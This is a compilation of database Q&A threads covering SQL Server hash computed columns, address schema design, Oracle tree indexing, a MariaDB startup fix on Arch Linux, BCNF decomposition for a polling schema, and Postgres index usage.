How to create a Hash Computed Column for Many Columns?

You could script this as part of your release process.  EG something like:

declare @script nvarchar(max)
with q as
(
    select   concat(N'
    alter table ',quotename(schema_name(t.schema_id)),'.',quotename(t.name),' drop column if exists RowHash;
    alter table ',quotename(schema_name(t.schema_id)),'.',quotename(t.name),'
    add RowHash as hashbytes(''SHA2_512'', concat('''',',STRING_AGG(cast(quotename(c.name) as nvarchar(max)), ',''|'',') WITHIN GROUP (ORDER BY c.column_id ASC),'));
    ' ) cmd
    from sys.tables t
    join sys.columns c
      on t.object_id = c.object_id
    join sys.types ty
      on c.user_type_id = ty.user_type_id
    where c.is_identity = 0
     and t.object_id in (select object_id from sys.columns where name = 'RowHash')
     and c.name <> 'RowHash'
     and t.is_ms_shipped = 0
     and c.is_computed = 0
     and ty.name not in ('hierarchyid','xml', 'geography', 'geometry')
    group by t.object_id, t.schema_id, t.name
)
select @script = string_agg(cast(cmd as nvarchar(max)) , N'
')
from q

print @script
--set xact_abort on
--begin transaction
--exec sp_executesql @script
--commit


Database throughful design vs Quick and dirty design comparison Take the representation of an Address, here below is a complete and very detailed implementation:

here instead is a quick implementation (which more or less contains the same fields, imagine all fields in the former are contained also in the second)

If I were to decide which is the closer to a normalized and academically correct one I'd say the first one, however if I were to start a project I would go with the second.

Do you agree with this consideration? And if yes, how does one deal with this fact?

start with an easy database and as soon as it is time improve it into a more normalized/academical database.
start with something as close as possible to the academical database
stick with the quick and dirty solution

Trying to normalize addresses is generally a bad idea.  There isn't a lot of value to normalizing addresses.  Both of your designs are inappropriate for the vast majority of systems.

There are two things you typically do with addresses:

Use them to send mail or packages to that location.
Use them to do geospatial analysis on that location.

Since you are using states, provinces, and boroughs in your design, and not prefectures, for example, I'm assuming that you are working in a North American context.  If that's true, then you have well established postal authorities (USPS, CPC) with very well regulated postal data and readily available address data quality tools.  Even if you are working outside of US/Canada, there are probably data quality tools that will do what you need.

With validation and standardization of your address data, you can make sure that you are able to meet your first goal.

Using ZIP+4 in the US and Postal Code in many other countries, you can get everything you need for your second goal.

A lot of people are really tempted to break addresses down into granular fields.  This is a reaction to how bad address data typically is when all you have is "address_line_1, address_line_2,...".  However, breaking out lousy, unvalidated city names into its own field only mean you've got a smaller pile of garbage instead of a larger pile.  The only way to solve this is to use an address data quality tool to validate and standardize your addresses.  If you attempt to normalize your address data you end up with a big pile of many-to-many associations.  This is because addresses in real life don't fit into the neat hierarchies that you would see in a textbook.

Unless you have some really specialized need for addresses, just keep your tables simple (a few address lines, with maybe the postal code broken out) and get a good address data quality tool to scrub the data on the way in.


Oracle Indexing a column with delimiter We've a item table with a delimiter that contain its parent's tree

item,Level,parent,parent_tree,cost
a,0,null,a|,0
b,1,a,a|b,10
c,2,b,a|b|c,10
d,2,b,a|b|d,10
e,1,a,a|e,10
f,2,e,a|e|f,10

We currently using

select sum(cost) from items where parent_tree like 'a|%'

In order to get all the sub-trees costings without complex joining of tables, however, performances of the full-text search has slowed down significantly.

Is there anyway to create a index for delimiter values? such that our trees could increase up to 20 levels

This is not a "full-text"  search.
An index on parent_tree will probably do the job.
Adding a root column will be neater and might give the optimizer a better chance to take the right decisions.

... where root = 'a'


MySQL fails to start on arch Linux. Fatal error: Can't open and lock privilege tables: Table 'mysql.user' doesn't exist MySQL fails to start on arch Linux.

mysqld[3440]: [Note] /usr/bin/mysqld (mysqld 10.1.22-MariaDB) starting as process 3440 ...
mysqld[3440]: [Note] InnoDB: Using mutexes to ref count buffer pool pages
mysqld[3440]: [Note] InnoDB: The InnoDB memory heap is disabled
mysqld[3440]: [Note] InnoDB: Mutexes and rw_locks use GCC atomic builtins
mysqld[3440]: [Note] InnoDB: GCC builtin __atomic_thread_fence() is used for memory barrier
mysqld[3440]: [Note] InnoDB: Compressed tables use zlib 1.2.11
mysqld[3440]: [Note] InnoDB: Using Linux native AIO
mysqld[3440]: [Note] InnoDB: Using SSE crc32 instructions
mysqld[3440]: [Note] InnoDB: Initializing buffer pool, size = 128.0M
mysqld[3440]: [Note] InnoDB: Completed initialization of buffer pool
mysqld[3440]: [Note] InnoDB: Highest supported file format is Barracuda.
mysqld[3440]: [Note] InnoDB: The log sequence numbers 0 and 0 in ibdata files do not match the log sequence number 1600719 in the ib_logfiles!
mysqld[3440]: [Note] InnoDB: Restoring possible half-written data pages from the doublewrite buffer...
mysqld[3440]: [Note] InnoDB: 128 rollback segment(s) are active.
mysqld[3440]: [Note] InnoDB: Waiting for purge to start
mysqld[3440]: [Note] InnoDB:  Percona XtraDB (http://www.percona.com) 5.6.35-80.0 started; log sequence number 1600719
mysqld[3440]: [Note] InnoDB: Dumping buffer pool(s) not yet started
mysqld[3440]: [Note] Plugin 'FEEDBACK' is disabled.
mysqld[3440]: [ERROR] Could not open mysql.plugin table. Some plugins may be not loaded
mysqld[3440]: [Note] Recovering after a crash using mysql-bin
mysqld[3440]: [Note] Starting crash recovery...
mysqld[3440]: [Note] Crash recovery finished.
mysqld[3440]: [Warning] Failed to load slave replication state from table mysql.gtid_slave_pos: 1146: Table 'mysql.gtid_slave_pos' doesn't exist
mysqld[3440]: [ERROR] Can't open and lock privilege tables: Table 'mysql.servers' doesn't exist
mysqld[3440]: [Note] Server socket created on IP: '::'.
mysqld[3440]: [ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.user' doesn't exist

I have reinstalled the packages but I still end up with the same problems.

The arch wiki helped me solve this pretty quickly.

Install mariadb, afterwards run the following command before starting the mariadb.service:

mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
mysql_secure_installation

Arch does not hold your hand, with this type of thing.
I guess if you install mysql / mariadb from source this is expected.

This answer also helped me to figure out what I was looking for.
https://stackoverflow.com/a/22179751/619760


How do I keep developer's MySQL DB up to date with production? I have a slave copy of my production database that gets updated regularly. I cannot write to it, so I also have a developer copy of the DB. I would like to keep my developer copy up to date daily by running a stored procedure every morning to update yesterday's information.

Here's what I have so far:

CREATE DEFINER=`myName`@`%` PROCEDURE `spSyncMyDB`()
BEGIN

    DECLARE tableName VARCHAR(255);
    DECLARE primaryKey VARCHAR(255);
    DECLARE columnName VARCHAR(255);
    DECLARE dataType VARCHAR(50);
    DECLARE columnKey VARCHAR(255);
    DECLARE whereStatement VARCHAR(5000);
    DECLARE columnList VARCHAR(255);
    DECLARE currentSchema VARCHAR(255);

    DECLARE TableNameCursor CURSOR FOR
    SELECT DISTINCT TABLE_NAME
    FROM INFORMATION_SCHEMA.COLUMNS
    WHERE DATA_TYPE IN ('timestamp', 'datetime')
        AND TABLE_SCHEMA = currentSchema
    ORDER BY TABLE_NAME;

    DECLARE ColumnNameCursor CURSOR FOR
    SELECT DISTINCT COLUMN_NAME, DATA_TYPE, COLUMN_KEY
    FROM INFORMATION_SCHEMA.COLUMNS
    WHERE TABLE_SCHEMA = currentSchema
        AND TABLE_NAME = tableName
    ORDER BY COLUMN_NAME;

    SET currentSchema = DATABASE();

    OPEN TableNameCursor;

        FETCH TableNameCursor INTO tableName;
        SET whereStatement = '';
        SET primaryKey = '';
        SET columnList = '';

        OPEN ColumnNameCursor;
            FETCH ColumnNameCursor INTO columnName,dataType,columnKey;
            IF DATA_TYPE IN ('timestamp', 'datetime') THEN
                SET whereStatement = CONCAT(columnName, '>= DATE(DATE_SUB(NOW(), INTERVAL 1 DAY)) OR ', whereStatement);
            END IF;
            IF COLUMN_KEY = 'PRI' THEN
                SET primaryKey = columnName;
            END IF;
            SET columnList = CONCAT(columnName,',',columnList);
        CLOSE ColumnNameCursor;

        SET columnList = TRIM(TRAILING ',' FROM columnList);

        IF LENGTH(whereStatement) > 0 THEN
            DELETE currentSchema.tableName FROM currentSchema.tableName
                LEFT JOIN currentSchema.tableName USING(columnList)
            WHERE CONCAT(whereStatement, currentSchema.tableName.primaryKey,' IS NULL') ;
        END IF;
        INSERT IGNORE INTO currentSchema.tableName
            SELECT *
            FROM productionSchema.tableName
                LEFT JOIN currentSchema.tableName USING(columnList)
            WHERE CONCAT(whereStatement, currentSchema.tableName.primaryKey,' IS NULL') ;

    CLOSE TableNameCursor;

END

What do I need to do to get this working?

For the love of Fortran, stop what you're trying to do!

You should have all your database schema, stored procedures, etc checked into a version control system rather than only in the database.

If the database is only used with a single app, then you'd generally want to put the schema in the same repository as the application's source code, otherwise you should put the in a separate repository. Some version control systems like git makes it easy to work with multiple repositories like with git submodules.

This way the developer had just to run a script that drops the database and reloads the schema. When you need to make changes to the schema, you should write a database migration script. This way the developers can upgrade their own developments database at their own leisure, rather than having you breaking their code while they're in the middle of other works.


BCNF decomposition does not prevent insert anomaly? I am in the process of designing a schema for a simple polling app and have tried to normalize it with the decomposition algorithm from this lecture.
Requirements
A poll has a unique id (poll_id), a question (question) and multiple options (option) that can be voted on.
A participant (participant_id) can vote for each option by giving it one to ten stars (stars).
What I have so far:
I came up with the following relation that contains all attributes:
(poll_id, question, option, participant_id, stars)
...and the following functional dependencies:

poll_id → question
poll_id, option, participant_id → stars

After applying the algorithm I have the following relations (keys are bold):

(poll_id, question)
(poll_id, option, participant_id, stars)

My Question:
At this point the schema should be in BCNF, but it's easy to see that I can't just create a poll with a question and some options, because with this design options can only exist if there are also participants who have voted. I should probably have another relation (question, option). Did I miss something important (dependencies, normalization rules)?

Edited

I think that the relation is in BCNF, but it is known that this fact does not always solve all the anomalies. For this reason other normal forms, like 4NF, 5NF, etc., for instance those based on elementary keys (Elementary Key Normal Form, Key-Complete Normal Form, etc.) have been defined.

I am not sure of what other kind of dependencies are present in your schema, but I want to show a decomposition, as pointed in a comment below by @philipxy (correcting my previous version), to eliminate redundancies and anomalies from the schema.

polls (poll_id, question)
   poll_id → question
options_of_polls (poll_id, option)
   no non-trivial functional dependencies, so the key is (poll_id, option)
votes (partecipant_id, poll_id, option, stars)
   partecipant_id, poll_id, option → stars


Postgres index not being used Postgres 9.6.8, a table with 6GB including a jsonb field that is up to 15MB.  The query planner is not using any indices btree or gin when querying that table.  When I add the same indices to a local/dev table (not as big), indices are used.
api=> \d api.commands
                            Table "api.commands"
        Column        |            Type             | Collation | Nullable | Default
----------------------+-----------------------------+-----------+----------+---------
 id                   | uuid                        |           | not null |
 error                | boolean                     |           |          | false
 command              | jsonb                       |           |          |
 program_id           | uuid                        |           |          |
 account_id           | uuid                        |           |          |
Indexes:
    "commands_pkey" PRIMARY KEY, btree (id)
    "idx_cmd_account" btree (account_id)
    "idx_cmd_program" btree (program_id)
    "ix_cmd_created" btree (created)
    "idx_cmd_gin" gin (command jsonb_path_ops)
    "idx_cmd_type" btree ((((command -> 'command'::text) -> 'meta'::text) ->> 'type'::text))

Given this table with listed indices, I'm trying to query for a specific "type" of command e.g.
select * from api.commands where command->'command'->'meta'->>'type' = 'create'

query planner returns
api=> explain select * from api.commands where command->'command'->'meta'->>'type' = 'create';
                                           QUERY PLAN
------------------------------------------------------------------------------------------------
 Seq Scan on commands  (cost=0.00..63589.26 rows=604 width=739)
   Filter: ((((command -> 'command'::text) -> 'meta'::text) ->> 'type'::text) = 'create'::text)
(2 rows)

I've also tried to use the GIN index with
api=> explain select * from api.commands where command->'command'->'meta' @> '{ "type": "create" }';
                                                       QUERY PLAN
------------------------------------------------------------------------------------------------------------------------
 Seq Scan on command_registry  (cost=0.00..63287.23 rows=121 width=456) (actual time=50.802..333627.363 rows=2 loops=1)
   Filter: (((command -> 'command'::text) -> 'meta'::text) @> '{"type": "create"}'::jsonb)
   Rows Removed by Filter: 120921
   Buffers: shared hit=218390 read=131857
 Planning time: 115.912 ms
 Execution time: 333627.427 ms
(6 rows)

I tried to disable seqscan, and that just increases the cost.  Further, even if I don't include the large JSONB field in the query no index is used:
api=> explain select * from api.commands where program_id = '620D00ED-5368-4803-928E-30D454F4AFD3';
                              QUERY PLAN
-----------------------------------------------------------------------
 Seq Scan on commands  (cost=0.00..62683.16 rows=34 width=739)
   Filter: (program_id = '620d00ed-5368-4803-928e-30d454f4afd3'::uuid)
(2 rows)

All of the above queries are using the index on a local database with less data.  I tried vacuuming the big database to no avail.
Can anyone explain what's going on?

Update
I resized my database (running in RDS) to match the production sized database and the planner is finding the btree indices.   Still not the GIN index, and I've updated the plan to include the execution & buffer usage.

This was operator error - I was looking at the RDS console and I noticed the CPU was pegged at 100% after resizing.  I did some digging and found some errant processes that were hogging DB resources, after killing and letting the server settle down, all of the indices GIN & BTREE were found.


Is group replication available in Mysql community? Group replication for Mysql server seems to be a great functionnality.
It is available from version 5.7.17 of MySql Enterprise and Cluster CGE edition.

But is it available for Mysql community ? and starting which version ?

Thanks

Based on the MySQL Developer manual:

https://dev.mysql.com/doc/refman/5.7/en/group-replication-requirements.html

It appears that so long as you're on the appropriate version you'll have access to this feature.